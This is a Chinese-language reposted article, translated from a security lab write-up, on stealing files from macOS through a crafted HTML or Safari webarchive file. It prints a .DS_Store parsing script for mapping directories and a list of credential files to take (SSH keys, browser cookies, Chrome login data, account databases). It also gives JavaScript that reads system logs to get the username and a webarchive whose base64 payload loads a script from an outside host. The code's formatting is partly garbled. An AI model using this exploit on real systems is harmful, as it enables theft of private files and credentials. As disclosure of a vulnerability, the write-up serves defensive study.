時(shí)間:2023-06-08 23:00:01 | 來(lái)源:網(wǎng)站運(yùn)營(yíng)
時(shí)間:2023-06-08 23:00:01 來(lái)源:網(wǎng)站運(yùn)營(yíng)
如何通過(guò)簡(jiǎn)單的網(wǎng)頁(yè)文件從MacOS中盜取文件?:文檔、源碼、ssh密鑰、密碼等等所有的這些文件都可以傳送過(guò)去。不可能嗎?當(dāng)然是可能的。一些常用的瀏覽器可能正在這樣做。1. 用戶在瀏覽器中打開(kāi)html文件2. 瀏覽器讀取用戶有權(quán)限訪問(wèn)的文件列表。3. 瀏覽器讀取重要文件,并且將他們上傳到攻擊者啟動(dòng)的遠(yuǎn)程服務(wù)器中,這一過(guò)程會(huì)在后臺(tái)進(jìn)行,并且不會(huì)通知用戶。
現(xiàn)在我們將這一過(guò)程分成幾個(gè)階段:階段一:在當(dāng)前用戶計(jì)算機(jī)上收集關(guān)于文件的信息。階段二:讀取文件,將文件上傳到遠(yuǎn)程服務(wù)器上。
在階段一中,攻擊者需要得到文件列表。這一步驟不是那么容易解決的,通常來(lái)講,開(kāi)發(fā)者不會(huì)允許html頁(yè)面讀取文件夾內(nèi)容,或者獲取當(dāng)前路徑。猜測(cè)以及嘗試所有可能的路徑也不是一個(gè)好的選擇。雖然一些文件的路徑是通用的,比如~/.ssh/id_rsa,但是大部分文件在不同系統(tǒng)中存放的位置是不同的。##!/usr/bin/env pythonfrom ds_store import DSStoreimport jsonpath = ‘/Users/USERNAME/.DS_Store’def parse(file): filelist = [] for i in file: if i.filename!=’.’: filelist.append(i.filename) return list(set(filelist))d=DSStore.open(path, ‘r+’)fileresult=parse(d)print(json.dumps(fileresult))for name in fileresult: try: d = DSStore.open(path + name+ ‘/.DS_Store’, ‘r+’) fileresult = parse(d) all.append(fileresult) print(json.dumps(fileresult)) except: pass
將其命名為parse_ds_store.py,執(zhí)行結(jié)果如下:$ python parse_ds_store.py[“Documents”, “Pictures”, “.idm”, “Desktop”, “Music”, “.oracle_jre_usage”, “Public”, “tmp”, “Parallels”, “MEGA”, “.BurpSuite”, “Downloads”, “.config”, “.cache”, “Applications”, “.bash_sessions”, “Creative Cloud Files”, “PycharmProjects”, “Applications (Parallels)”, “Dropbox”, “Nextcloud”, “.iterm2”, “.Trash”, “Scripts”, “Movies”, “MEGAsync Downloads”, “Soft”, “.local”, “.ssh”, “Library”, “.pgadmin”]
可以看到,我已經(jīng)得到我當(dāng)前目錄的文件名,這就意味著,我們可以通過(guò)遞歸訪問(wèn).DS_Store文件獲取我電腦上所有具有權(quán)限的文件目錄結(jié)構(gòu)。[“Backups","Soft","Pictures",".ssh"...][
然后在Backups文件夾中,我們得到:[“2017”, “2016”, “2015”, …]
進(jìn)而在訪問(wèn)~/Backups/2017/.DS_Store,得到[“source”, “sql”, “static”, …]
以此類推。~/.ssh/id_rsa;~/.ssh/id_rsa.key;~/.ssh/id_rsa.pub;~/.ssh/known_hosts;~/.ssh/authorized_keys;
還有.bash_history,它可以讓攻擊者知道用戶之前執(zhí)行的命令。~/Library/Cookies/Cookies.binarycookies~/Library/Cookies/com.apple.Safari.cookies
twitter,Skype以及其他應(yīng)用程序的cookie都可以在這一文件夾中找到。~/Library/Cookies/HSTS.plist
另外一個(gè)有用的文件是關(guān)于系統(tǒng)賬戶信息的文件:~/Library/Accounts/Accounts4.sqlite
我們還可以在列表中查找其他有用的東西,可能會(huì)有意外的收獲。~/Library/Application Support/
舉個(gè)例子,我們還可以進(jìn)而找到chrome存儲(chǔ)的登錄數(shù)據(jù)以及cookie:~/Library/Application Support/Google/Chrome/Default/Login Data~/Library/Application Support/Google/Chrome/Default/Cookies~/Library/Application Support/Google/Chrome/Default/History
如果運(yùn)氣好的話,還可以找到ftp/sql客戶端的登錄信息,歷史記錄,以及日志信息。function getUser() { var xhr = new XMLHttpRequest(); try { xhr.open(‘GET’, ‘/var/log/system.log;/https:%2f%2fgoogle.com/’, false); xhr.send(); return xhr.responseText.match(//Users/w+//g)[0]; } catch (e) { xhr.open(‘GET’, ‘/var/log/install.log;/https:%2f%2fgoogle.com/’, false); xhr.send(); return xhr.responseText.match(//Users/w+//g)[0]; }}
<?xml version=”1.0" encoding=”UTF-8"?><!DOCTYPE plist PUBLIC “-//Apple//DTD PLIST 1.0//EN” “http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version=”1.0"><dict> <key>WebMainResource</key> <dict> <key>WebResourceData</key> <data> PGh0bWw+PGhlYWQ+PC9oZWFkPjxib2R5PjxzY3JpcHQgc3JjPSdodHRwczo vL2JvMG9tLnJ1L3NhZmFyaV9wb2MvcmVhZGZpbGUuanMnPjwvc2NyaXB0Pj wvYm9keT48L2h0bWw+ </data> <key>WebResourceFrameName</key> <string></string> <key>WebResourceMIMEType</key> <string>text/html</string> <key>WebResourceTextEncodingName</key> <string>UTF-8</string> <key>WebResourceURL</key> <string>file:///</string> </dict></dict></plist>
數(shù)據(jù)為Base64頁(yè)面,每行包含59個(gè)符號(hào)本文翻譯自:https://lab.wallarm.com/hunting-the-files-34caa0c1496,如若轉(zhuǎn)載,請(qǐng)注明來(lái)源于嘶吼: 如何通過(guò)簡(jiǎn)單的網(wǎng)頁(yè)文件從MacOS中盜取文件? 更多內(nèi)容請(qǐng)關(guān)注“嘶吼專業(yè)版”——Pro4hou
關(guān)鍵詞:文件,通過(guò),簡(jiǎn)單
客戶&案例
營(yíng)銷資訊
關(guān)于我們
客戶&案例
營(yíng)銷資訊
關(guān)于我們
微信公眾號(hào)
版權(quán)所有? 億企邦 1997-2025 保留一切法律許可權(quán)利。